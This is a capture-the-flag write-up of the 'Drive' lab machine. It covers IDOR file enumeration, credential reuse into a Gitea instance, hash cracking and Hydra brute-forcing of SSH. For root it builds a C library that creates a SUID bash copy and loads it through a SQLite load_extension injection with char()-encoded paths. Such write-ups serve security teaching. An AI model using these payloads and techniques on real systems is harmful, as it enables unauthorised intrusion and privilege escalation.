Drive

Created by Spectra199


Summary

The reconnaissance phase began with a Nmap scan, revealing two open ports, SSH on port 22 and HTTP on port 80, along with one filtered port 3000. Subsequent investigation focused on the HTTP service, leading to the discovery of an IDOR vulnerability that allowed access to files and exposed credentials belonging to a user named martin, granting access via SSH.

Leveraging these credentials, access was gained to a Gittea instance running on internal port 3000. This access allowed for the retrieval of a password, facilitating access to archived database backups. Additionally, database backups were found on the machine, which, upon examination, yielded credentials for another user named tom. Utilizing these credentials, access was obtained to the user account, where the user flag was discovered in the home directory.

The next phase involved privilege escalation, achieved through the exploitation of a SUID binary found on the system. Decompilation and analysis of the binary revealed a SQL injection vulnerability that could be exploited to execute arbitrary SQL commands. By leveraging this vulnerability, the load_extension() function within SQLite could be utilized to load external libraries. By crafting a payload to load shared library exploit the SUID capability, it became possible to escalate privileges to root, thereby gaining full control over the system

Recon

First we start with a simple nmap scan, we find three ports, two of them open and one filtered. Interesting. After another scan, this one is closed. So initially we are only dealing with port 22 SSH and port 80 a web server.

So we only have the web server as a possible entry point. We run Gobuster and enumerate the pages manually in the meantime.

We have the option of registering and logging in. We may find more functionalities that we can use. So we create an account…

…and log in.

We have a dashboard infront of us and can upload and view files. You can group, lock and unlock them.

Viewing the content does not initiate a request.

All right then. Let's create a file first and see what happens.

Navigating to Files → show My Files. Here we are able to view all of our files.

And this is where it gets interesting. Apparently, IDs are used to view the file. And can be viewed via /getFileDetail/. Perhaps we are dealing with a simple IDOR vulnerability here and can access other files that may be able to help us.

We start Burp Suite. We send a request, intercept it and forward it directly to the Intruder module. Furthermore, we mark the ID and adjust the payload.

We want numbers from -1 to 200, which should be enough.

And we have a few results, predominantly 500 server error results, but also 200s, files to which we have access and 401, files to which we have no access. Too bad, but at least we have identified them.

Foothold: Gaining Access As Martin

When clicking through the page, hoping to have another option than getFileDetail we did not find it. So let's use FuFF, maybe we can find unprotected access to the files.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://drive.htb/112/FUZZ

And we find many more, and /block is our candidate.

We found credentials for the user Martin on ID 79. The other entries seem to have a chat-like history, which is of no further interest.

The user himself does not have the user flag, which is too bad. But that would have been too easy. We have other users on the system. So we'll probably have to escalate through them.

Lateral Movement: Advancing To Tom

Instead, we find a lot of backups in /var/www/html of a database, possibly that of the application. Perhaps the credentials of other users are hidden here. Unfortunately, the zip archives are password-protected. So you have to find that first.

We actually find credentials in the non-archived database, but they don't seem to be usable.

Further internal ports were noticed during subsequent enumerations. Port 3000 is the filtered one from our initial scan. Perhaps we will find more here.

With a quick check via cURL, we see that a Gitea instance is running on port 3000.

We use local port forwarding via SSH to make the port reachable for our attacker machine and to further enumerate Gitea.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ ssh -L 3000:127.0.0.1:3000 martin@drive.htb

We find two users, crisDisel and martinCruz.

We have SSH credentials for the user martin; it is possible that the same person is behind these two users, martin and martincurz. So let's try his credentials in the hope that they have been reused. And we are able to log in. Nice.

Here we find a backup script that is linked to the backups in /var/www/backup. And also the password for the zip files.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ scp -r martin@drive.htb:/var/www/backups backups

We use SCP to fetch the archives to our machine, unzip the archives with the found password and extract the hashes of the respective databases. We create a file with all hashes and crack it using hashcat.

Here we have only taken the database that contains a valid password 1_NOV_db_backup.sqlite3.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ hashcat -m 124 drive.txt /usr/share/wordlists/rockyou.txt

And we have a password.

We create a file with the users of the machine.

users.txt
cris 
git 
root
tom

Using Hydra, we find the user tom, who can log in via SSH with the cracked password from 1_NOV_db_backup.sqlite3.

We log in and find the user flag in his home directory. We also find a SUID binary directly. This probably means reverse engineering and binary exploitation to extend our privileges.

Privilege Escalation: Root Privileges

As already mentioned, the SUID binary stands out. We bring this onto our system using SCP.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ scp tom@drive.htb:/home/tom/doodleGrive-cli doodleGrive.cli

We decompile the binary means ghidra and analyze it. We find a query for a user with a password in the main function. If this query is solved correctly, it goes to the function main_menu(). From here, there are various function calls. Particularly noticeable in the analysis is activate_user_account(). This updates the entered user in an SQLite database. Interesting; this could be our entry point. Using SQL injection, it would be possible to exploit the SUID binary here, but how?

"/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line \'UPDATE accounts_customuser SE T is_active=1 WHERE username=\"%s\";\'"

It should also be noted that there is a sanitization of the user input, so it will not be easy.

For each character in the input string, it checks if the character matches any of the characters in local_29. 0x5c7b2f7c20270a00 are hexadecimal values sequence of characters or bytes that the sanitize_string function aims to remove from the input string.

When interpreted as ASCII characters, the hexadecimal values correspond to the following bytes:

0x5c: Backslash 0x7b: Left curly brace { 0x2f: Forward slash / 0x7c: Vertical bar | 0x20: Space character 0x27: Single quote ' 0x0a: Line feed (newline) character 0x00: Null terminator (end of string)

Let's go ahead and research ways to achieve remote code execution via SQLite injection. PayloadAllTheThings has noticed load_extension(). Here, it seems as if you can reload a library that has been executed. So we could build a library that, for example, uses the SUID property when loading and copies /bin/bash as root for us and sets the SUID bit.

The following source writes that the probability of being able to exploit this vulnerability is very low. But we can still try.

We put the payload aside for the time being and take care of how we build the library.

UNION SELECT 1,load_extension('/path/to/sqlite-execute-module.so');--

As we are very limited in terms of injection, we chose a very short name. We have to take this into account when naming the entry point name. So that the name sqlite_<libname>_init is used for initiation. It is actually intended to avoid conflicts when linking several static extensions.

As described, we build a library that copies /bin/bash and sets the SUID bit. We select the sqlite3_e_init function for initialization, as the library will later be called e.so.

exp.c
#include <stdlib.h>
#include <unistd.h>
void sqlite3_e_init() {
    setuid(0);
    setgid(0);
    system("/usr/bin/cp /bin/bash /tmp/bash");
    system("/usr/bin/chmod +xs /tmp/bash");
}

The command gcc -g -fPIC -shared exp.c -o e.so compiles the source file exp.c into a shared library named e.so. Here's what each option does:

  • -g: Includes debugging information in the compiled output, which can be useful for debugging with tools like GDB.

  • -fPIC: Generates position-independent code, which is necessary for creating shared libraries.

  • -shared: Specifies that the output should be a shared library.

┌──(0xb0b㉿kali)-[~/Documents/htb-app/drive]
└─$ gcc -g -fPIC -shared exp.c -o e.so

We copy the library to the machine.

Now comes the difficult part. Unfortunately, we cannot integrate the library directly because of the special characters . ,/and ' are sanitized as described above. One possibility would be to encode the path via char(). So that the library ./e can be called via char(46,47,101) in load_extension().

"+load_extension(char(46,47,101))+"

We execute doodleGrive-cli, enter the username moriarty and his credentials are found in the source code. Next, we chose option 5 and pasted it in the payload, to load the crafted library.

After successful execution, a bash SUID binary is created in /tmp. With that, we can escalate our privileges to get a root shell. The flag can be found in /root/root.txt.

Last updated